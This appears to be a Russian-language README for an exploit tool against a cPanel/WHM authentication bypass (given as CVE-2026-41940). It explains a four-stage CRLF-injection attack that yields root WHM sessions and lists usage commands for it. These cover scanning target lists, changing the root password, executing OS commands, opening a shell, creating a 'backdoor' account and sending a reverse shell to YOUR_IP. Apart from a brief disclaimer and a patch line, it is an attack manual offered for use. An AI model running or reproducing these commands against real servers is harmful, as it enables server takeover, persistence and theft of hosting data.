
cPanel/WHM Authentication Bypass (Уязвимость нулевого дня)
Отказ от ответственности: Этот документ и связанный с ним скрипт (
exploit.py) предоставлены исключительно в образовательных целях, для исследований в области безопасности и авторизованного тестирования на проникновение. Не используйте это программное обеспечение против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
exploit.py — это скрипт, демонстрирующий уязвимость обхода аутентификации (CVE-2026-41940) в cPanel & WHM. Уязвимость позволяет неаутентифицированному злоумышленнику внедрить корневую сессию в кеш демона через инъекцию CRLF, что в итоге даёт доступ к WHM с правами root без необходимости в действительных учётных данных.
Эксплойт работает за счёт использования уязвимости инъекции CRLF (Carriage Return Line Feed) в механизме обработки базовой аутентификации, в сочетании с ошибкой распространения сессии. Скрипт автоматизирует атаку в четыре этапа:
/login/ или /cgi/login.cgi) для получения базовой неаутентифицированной сессионной cookie (whostmgrsession).cpsrvd. Ответ сервера с перенаправлением раскрывает сгенерированный токен безопасности (cpsess).do_token_denied для распространения поддельной сессии в кеш демона, делая её действительной аутентифицированной сессией./json-api/version) с использованием поддельной сессии для подтверждения доступа уровня root.requestspip install requests
python exploit.py --target <URL> [options]
python exploit.py --target-file <FILE> [options]
| Аргумент | Описание |
|---|---|
--target URL | Одиночный URL WHM (например, https://target:2087) |
--target-file FILE | Файл с целями (по одному ip:port на строку) — автоматически включает режим проверки |
| Аргумент | Описание |
|---|---|
--threads N | Количество одновременных потоков для режима множественных целей (по умолчанию: 10) |
--hostname HOST | Переопределение заголовка Host — используйте, когда автоматическое обнаружение не удаётся или выдаёт неверное имя хоста |
--timeout N | Таймаут на запрос в секундах (по умолчанию: 15) |
--retries N | Количество повторных попыток при сетевых ошибках (по умолчанию: 3) |
--cookie-name NAME | Принудительно задать имя cookie сессии (автоматически определяется, если опущено) |
--no-verify | Пропустить проверку этапа 4 и продолжить в любом случае |
| Аргумент | Описание |
|---|---|
--check | Режим только проверки — проверка уязвимости без эксплуатации (автоматически устанавливается с --target-file) |
--password PASS | Изменить пароль root на PASS |
--api FUNC | Вызов определённой функции WHM JSON-API |
--api-params K=V,... | Параметры через запятую для --api |
--exec CMD | Выполнение команды ОС через WHM scripts/run_script (запасной вариант: rawexec) |
--session | Создать URL для входа root в один клик — откройте немедленно, токен быстро истекает |
--shell | Запуск интерактивной оболочки WHM (только для одной цели) |
--dump | Выгрузить информацию о сервере: версия, учетные записи, DNS-зоны, привилегии |
--add-user USER PASS DOMAIN | Создать новую хостинговую учетную запись cPanel |
--revshell LHOST LPORT | Отправить обратный bash shell вашему слушателю |
| Аргумент | Описание |
|---|---|
--output FILE | Сохранить токен сессии и детали в JSON-файл |
# Check if target is vulnerable
python exploit.py --target https://target:2087 --check
# Dump server info (version, accounts, privileges)
python exploit.py --target https://target:2087 --dump
# Generate a one-click root login URL (paste in browser immediately)
python exploit.py --target https://target:2087 --session
# Execute a command
python exploit.py --target https://target:2087 --exec "id"
# Drop into an interactive WHM shell
python exploit.py --target https://target:2087 --shell
# Change root password
python exploit.py --target https://target:2087 --password 'NewP@ss!'
# Call WHM API directly
python exploit.py --target https://target:2087 --api version
python exploit.py --target https://target:2087 --api listaccts --api-params api.version=1
# Create a backdoor cPanel account
python exploit.py --target https://target:2087 --add-user myuser 'Pass123!' example.com
# Send reverse shell
python exploit.py --target https://target:2087 --revshell YOUR_IP 4444
# Override hostname (use when auto-discovery fails)
python exploit.py --target https://1.2.3.4:2087 --hostname whm.server.net --check
# Scan multiple targets (check-only mode)
python exploit.py --target-file ips.txt
python exploit.py --target-file ips.txt --threads 20
# Save session to file
python exploit.py --target https://target:2087 --dump --output results.json
При использовании --shell доступны следующие команды:
| Команда | Описание |
|---|---|
api <function> [k=v ...] | Вызов функции WHM JSON-API (например, api version) |
exec <command> | Выполнение команды ОС через WHM (например, exec id) |
passwd <newpass> | Изменить пароль root |
dump | Выгрузить информацию о сервере |
revshell <lhost> <lport> | Отправить обратный shell |
add <user> <pass> <domain> | Создать учетную запись cPanel |
save <path> | Сохранить текущую сессию в файл |
exit / quit | Выйти из оболочки |
Немедленно установите последние патчи безопасности cPanel/WHM.